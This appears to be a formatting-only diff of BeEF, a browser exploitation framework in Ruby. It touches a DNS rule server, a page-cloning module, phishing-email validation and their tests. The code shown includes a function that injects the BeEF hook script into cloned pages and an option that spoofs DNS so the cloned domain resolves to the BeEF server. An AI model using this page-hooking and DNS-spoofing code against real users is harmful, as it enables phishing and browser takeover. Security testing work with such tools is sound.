@@ -95,23 +97,23 @@ module RubyDNS
|
||||
id = generate_id
|
||||
|
||||
case block
|
||||
when String
|
||||
@rules << Rule.new(id, pattern, eval(block_src))
|
||||
when Proc
|
||||
@rules << Rule.new(id, pattern, block)
|
||||
when String
|
||||
@rules << Rule.new(id, pattern, eval(block_src))
|
||||
when Proc
|
||||
@rules << Rule.new(id, pattern, block)
|
||||
end
|
||||
|
||||
BeEF::Core::Models::Dns::Rule.create(
|
||||
:id => id,
|
||||
:pattern => pattern[0].to_s,
|
||||
:type => pattern[1],
|
||||
:block => block_src
|
||||
:id => id,
|
||||
:pattern => pattern[0].to_s,
|
||||
:type => pattern[1],
|
||||
:block => block_src
|
||||
)
|
||||
rescue Sourcify::CannotHandleCreatedOnTheFlyProcError,
|
||||
Sourcify::CannotParseEvalCodeError,
|
||||
Sourcify::MultipleMatchingProcsPerLineError,
|
||||
Sourcify::NoMatchingProcError,
|
||||
Sourcify::ParserInternalError
|
||||
Sourcify::CannotParseEvalCodeError,
|
||||
Sourcify::MultipleMatchingProcsPerLineError,
|
||||
Sourcify::NoMatchingProcError,
|
||||
Sourcify::ParserInternalError
|
||||
|
||||
@logger.error "Failed to sourcify block for DNS rule '#{id}'"
|
||||
raise
|
||||
|
||||
@@ -102,14 +102,14 @@ module BeEF
|
||||
halt 401
|
||||
end
|
||||
|
||||
if (link =~ URI::regexp).nil?#invalid URI
|
||||
if (link =~ URI::regexp).nil? #invalid URI
|
||||
print_error "Invalid link or linktext"
|
||||
halt 401
|
||||
end
|
||||
|
||||
recipients = body["recipients"][0]
|
||||
|
||||
recipients.each do |email,name|
|
||||
recipients.each do |email, name|
|
||||
if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil?
|
||||
print_error "Email [#{email}] or name [#{name}] are not valid/null."
|
||||
halt 401
|
||||
|
||||
@@ -35,8 +35,9 @@ module BeEF
|
||||
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
|
||||
#
|
||||
if use_existing.nil? || use_existing == false
|
||||
begin #,"--background"
|
||||
IO.popen(["wget", "#{url}","-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}","--no-check-certificate"], 'r+') do |wget_io| end
|
||||
begin #,"--background"
|
||||
IO.popen(["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", "--no-check-certificate"], 'r+') do |wget_io|
|
||||
end
|
||||
success = true
|
||||
rescue => e
|
||||
print_error "Errors executing wget: #{e}"
|
||||
@@ -108,7 +109,7 @@ module BeEF
|
||||
interceptor.set :frameable, frameable
|
||||
interceptor.set :beef_hook, @beef_hook
|
||||
interceptor.set :cloned_page, get_page_content(file_path)
|
||||
interceptor.set :db_entry, persist_page(url,mount)
|
||||
interceptor.set :db_entry, persist_page(url, mount)
|
||||
|
||||
@http_server.mount("#{mount}", interceptor.new)
|
||||
print_info "Mounting cloned page on URL [#{mount}]"
|
||||
@@ -117,7 +118,7 @@ module BeEF
|
||||
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
|
||||
if dns_spoof
|
||||
dns = BeEF::Extension::Dns::Server.instance
|
||||
ip = Socket.ip_address_list.detect {|i| !(i.ipv4_loopback? || i.ipv6_loopback?)}
|
||||
ip = Socket.ip_address_list.detect { |i| !(i.ipv4_loopback? || i.ipv6_loopback?) }
|
||||
domain = url.gsub(%r{^http://}, '')
|
||||
|
||||
id = dns.add_rule(domain, Resolv::DNS::Resource::IN::A) do |transaction|
|
||||
@@ -137,12 +138,11 @@ module BeEF
|
||||
private
|
||||
# Replace </head> with <BeEF_hook></head>
|
||||
def add_beef_hook(line)
|
||||
if line.include?("</head>")
|
||||
line.gsub!("</head>","<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
|
||||
elsif
|
||||
line.gsub!("</HEAD>","<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
|
||||
end
|
||||
line
|
||||
if line.include?("</head>")
|
||||
line.gsub!("</head>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
|
||||
elsif line.gsub!("</HEAD>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
|
||||
end
|
||||
line
|
||||
end
|
||||
|
||||
private
|
||||
@@ -176,7 +176,7 @@ module BeEF
|
||||
end
|
||||
|
||||
def get_page_content(file_path)
|
||||
file = File.open(file_path,'r')
|
||||
file = File.open(file_path, 'r')
|
||||
cloned_page = file.read
|
||||
file.close
|
||||
cloned_page
|
||||
|
||||
@@ -20,7 +20,7 @@ class TC_DnsRest < Test::Unit::TestCase
|
||||
json,
|
||||
@@headers)
|
||||
|
||||
result = JSON.parse(response.body)
|
||||
result = JSON.parse(response.body)
|
||||
@@token = result['token']
|
||||
|
||||
$root_dir = '../../'
|
||||
@@ -231,13 +231,13 @@ class TC_DnsRest < Test::Unit::TestCase
|
||||
# Test SOA type
|
||||
rule['type'] = 'SOA'
|
||||
rule['response'] = [
|
||||
"ns.#{rule['pattern']}.",
|
||||
"mail.#{rule['pattern']}.",
|
||||
2012031500,
|
||||
10800,
|
||||
3600,
|
||||
604800,
|
||||
3600
|
||||
"ns.#{rule['pattern']}.",
|
||||
"mail.#{rule['pattern']}.",
|
||||
2012031500,
|
||||
10800,
|
||||
3600,
|
||||
604800,
|
||||
3600
|
||||
]
|
||||
|
||||
regex = %r{
|
||||
@@ -359,8 +359,8 @@ class TC_DnsRest < Test::Unit::TestCase
|
||||
# Adds a new DNS rule
|
||||
def add_rule(params)
|
||||
response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}",
|
||||
params.to_json,
|
||||
@@headers)
|
||||
params.to_json,
|
||||
@@headers)
|
||||
|
||||
check_rest_response(response)
|
||||
end
|
||||
@@ -379,7 +379,7 @@ class TC_DnsRest < Test::Unit::TestCase
|
||||
# Compares output of dig command against regex
|
||||
def check_dns_response(regex, type, pattern)
|
||||
address = @@config.get('beef.extension.dns.address')
|
||||
port = @@config.get('beef.extension.dns.port')
|
||||
port = @@config.get('beef.extension.dns.port')
|
||||
|
||||
dig_output = `dig @#{address} -p #{port} -t #{type} #{pattern}`
|
||||
assert_match(regex, dig_output)
|
||||
|
||||
@@ -22,7 +22,7 @@ class TC_SocialEngineeringRest < Test::Unit::TestCase
|
||||
json,
|
||||
@@headers)
|
||||
|
||||
result = JSON.parse(response.body)
|
||||
result = JSON.parse(response.body)
|
||||
@@token = result['token']
|
||||
|
||||
$root_dir = '../../'
|
||||
@@ -51,12 +51,12 @@ class TC_SocialEngineeringRest < Test::Unit::TestCase
|
||||
json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json
|
||||
|
||||
response = RestClient.post("#{RESTAPI_SENG}/clone_page?token=#{@@token}",
|
||||
json,
|
||||
@@headers)
|
||||
json,
|
||||
@@headers)
|
||||
|
||||
check_response(response)
|
||||
|
||||
ip = Socket.ip_address_list.detect {|i| !(i.ipv4_loopback? || i.ipv6_loopback?)}
|
||||
ip = Socket.ip_address_list.detect { |i| !(i.ipv4_loopback? || i.ipv6_loopback?) }
|
||||
domain = url.gsub(%r{^http://}, '')
|
||||
|
||||
regex = %r{
|
||||
@@ -69,7 +69,7 @@ class TC_SocialEngineeringRest < Test::Unit::TestCase
|
||||
|
||||
# Send DNS request to server to verify that a new rule was added
|
||||
dns_address = @@config.get('beef.extension.dns.address')
|
||||
dns_port = @@config.get('beef.extension.dns.port')
|
||||
dns_port = @@config.get('beef.extension.dns.port')
|
||||
|
||||
dig_output = `dig @#{dns_address} -p #{dns_port} -t A #{domain}`
|
||||
assert_match(regex, dig_output)
|
||||
|
||||
@@ -58,7 +58,7 @@ class TC_Dns < Test::Unit::TestCase
|
||||
# Tests that DNS server runs correctly on desired address and port
|
||||
def test_04_run_server
|
||||
address = @@dns_config['address']
|
||||
port = @@dns_config['port']
|
||||
port = @@dns_config['port']
|
||||
|
||||
@@dns.run_server(address, port)
|
||||
sleep(3)
|
||||
@@ -193,12 +193,12 @@ class TC_Dns < Test::Unit::TestCase
|
||||
# Tests the retrieval of the entire DNS ruleset
|
||||
def test_12_get_ruleset
|
||||
ruleset = @@dns.get_ruleset
|
||||
ruleset.sort! {|a, b| a[:pattern] <=> b[:pattern] }
|
||||
ruleset.sort! { |a, b| a[:pattern] <=> b[:pattern] }
|
||||
|
||||
assert_equal(Array, ruleset.class)
|
||||
assert_equal(5, ruleset.length)
|
||||
|
||||
check_rule(ruleset[0], {:pattern=>'(?-mix:i\\.(love|hate)\\.beef\\.com?)',
|
||||
check_rule(ruleset[0], {:pattern => '(?-mix:i\\.(love|hate)\\.beef\\.com?)',
|
||||
:type => 'A',
|
||||
:response => '9.9.9.9'})
|
||||
|
||||
@@ -287,7 +287,7 @@ class TC_Dns < Test::Unit::TestCase
|
||||
|
||||
# Confirms that a query for the rule given in 'id' returns a 'type' failure status
|
||||
def check_failure_status(id, type)
|
||||
rule = @@dns.get_rule(id)
|
||||
rule = @@dns.get_rule(id)
|
||||
status = type.to_s.force_encoding('UTF-8').upcase
|
||||
assert_equal(status, rule[:response][0])
|
||||
|
||||
@@ -305,6 +305,8 @@ end
|
||||
# Suppresses unnecessary output from RubyDNS
|
||||
module Kernel
|
||||
|
||||
def puts(*args); end
|
||||
def puts(*args)
|
||||
;
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -9,12 +9,12 @@ class TC_Grep < Test::Unit::TestCase
|
||||
|
||||
def test_grep_eval
|
||||
Dir['../../**/*.rb'].each do |path|
|
||||
File.open( path ) do |f|
|
||||
File.open(path) do |f|
|
||||
next if /tc_grep.rb/.match(path) # skip this file
|
||||
next if /\/msf-test\//.match(path) # skip this file
|
||||
next if /extensions\/dns/.match(path) # skip this file
|
||||
|
||||
f.grep( /\Weval\W/im ) do |line|
|
||||
f.grep(/\Weval\W/im) do |line|
|
||||
assert(false, "Illegal use of 'eval' in framework: " + path + ':' + line)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -48,13 +48,13 @@ class TS_BeefTests
|
||||
suite << TC_Xssrays.suite
|
||||
suite << TC_Vnc.suite
|
||||
suite << TC_Obfuscation.suite
|
||||
suite << TC_Logger.suite
|
||||
suite << TC_Logger.suite
|
||||
suite << TC_IpecTunnel.suite
|
||||
suite << TC_Requester.suite
|
||||
suite << TC_Proxy.suite
|
||||
suite << TC_Hackverter.suite
|
||||
suite << TC_EventLogger.suite
|
||||
suite << TC_Hooks.suite
|
||||
suite << TC_Hooks.suite
|
||||
suite << TC_Redirector.suite
|
||||
suite << TC_Dns.suite
|
||||
|
||||
|
||||
Reference in New Issue
Block a user